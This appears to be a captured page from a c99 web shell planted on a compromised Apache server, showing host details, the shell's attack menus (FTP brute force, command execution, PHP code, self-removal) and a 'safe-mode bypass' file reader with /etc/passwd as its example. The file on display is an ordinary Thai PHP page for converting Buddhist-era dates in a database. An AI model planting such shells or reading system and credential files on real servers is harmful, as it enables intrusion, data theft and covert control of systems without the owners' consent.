!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/xmigratex/   drwxr-xr-x
Free 51.23 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     updateDate.php (3.44 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" type="text/css" href="style.css" />
<?php

    $dbreg 
$_POST["dbreg"];
    
$dbmoreg $_POST["dbmoreg"];
    
$dbppc $_POST["dbppc"];

    
$localhost_s $_POST["localhost_s"];
    
$localhost_u $_POST["localhost_u"];
    
$localhost_p $_POST["localhost_p"];

$ln_reg mysql_connect($localhost_s$localhost_u$localhost_ptrue);
if (!
$ln_reg) {
    echo 
"<font color='#FF0000'>$source_s";
    die(
' Could not connect: ' mysql_error());
    echo 
"</font >";
}else{
    
//echo "Connected $source_s successfully<br>";
}
$db_reg mysql_select_db($dbmoreg$ln_reg);
mysql_query("SET NAMES UTF8"$ln_reg);
mysql_query("SET character_set_results=utf8"$ln_reg);
mysql_query("SET character_set_client=utf8"$ln_reg);
if (!
$db_reg) {
    die (
"Can\'t use $oDB : " mysql_error());
}else{
    
//echo "เชื่องต่อ $oDB สำเร็จ<br>";
}

?>
<table class='tb_1'  width='100%'>
<tr><th class='h2'><?php
echo "<br />รายละเอียด ตาราง $dbmoreg.rg_TermConfig <br /><br />";
?></th></tr>
<tr><td class='h2'><?php
echo "ฟิลด์ tmcFrDate และ tmcToDate ";
echo 
"ตรวจสอบวันที่ให้ปีเป็นปีค.ศ.<br />";
?></td></tr>
<tr>
    <td class='h2'>-- *Query : update rg_TermConfig.tmcFrDate จากปีพ.ศ.เป็นปีค.ศ.</td>
</tr>
<tr>
    <td >
    -- update rg_TermConfig.tmcFrDate จากปีพ.ศ.เป็นปีค.ศ.
<br />UPDATE <?=$dbmoreg?>.rg_TermConfig
<br />SET tmcFrDate = <br /> CONCAT(YEAR(tmcFrDate)-543,'-',MONTH(tmcFrDate),'-',DAY(tmcFrDate))
<br />WHERE tmcFrDate != 0000-00-00 AND YEAR(tmcFrDate) > 2500 ;
</td>
</tr>
<tr>
    <td class='h2'>-- *Query : update rg_TermConfig.tmcToDate จากปีพ.ศ.เป็นปีค.ศ.</td>
</tr>
<tr>
    <td >
-- update rg_TermConfig.tmcToDate จากปีพ.ศ.เป็นปีค.ศ.
<br />UPDATE <?=$dbmoreg?>.rg_TermConfig 
<br />SET tmcToDate = <br /> CONCAT(YEAR(tmcToDate)-543,'-',MONTH(tmcToDate),'-',DAY(tmcToDate))
<br />WHERE tmcToDate != 0000-00-00 AND YEAR(tmcToDate) > 2500 ;
</td>
</tr>
<tr><td align='right' class='h2'>* คัดลอก query สั่งดำเนินการใน phpMyAdmin เมื่อพบข้อมูล tmcFrDate และ tmcToDate เป็นปีพ.ศ.</td></tr>
</table>
<br />
<table class='tb_1'  width='100%'>
<tr><th class='h2' colspan='4'><?php
echo "ข้อมูลตาราง $dbmoreg.rg_TermConfig";
?></th></tr>
    <tr align='center'>
        <td class='h2'>tmcAcY</td>
        <td class='h2'>tmcTmId</td>
        <td class='h2'>tmcFrDate</td>
        <td class='h2'>tmcToDate</td>
    </tr>
<?php

$query 
"SELECT * FROM $moDB.`rg_TermConfig`";

if(
$query!=''){
    
$result mysql_query($query$ln_reg);
    
$num_row mysql_num_rows($result);
}else{
    
$num_row 0;
}
if(
$num_row 0){
    while (
$row mysql_fetch_assoc($result)) {
?>
    <tr>
        <td><?php echo $row['tmcAcY']; ?></td>
        <td><?php echo $row['tmcTmId']; ?></td>
        <td style="color:<?php echo ($row['tmcFrDate']>'2500-00-00')?'#FF0000':''?>;";><?php echo $row['tmcFrDate']; ?></td>
        <td style="color:<?php echo ($row['tmcToDate']>'2500-00-00')?'#FF0000':''?>;"><?php echo $row['tmcToDate']; ?></td>
    </tr>
<?
    
}
}

?>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0136 ]--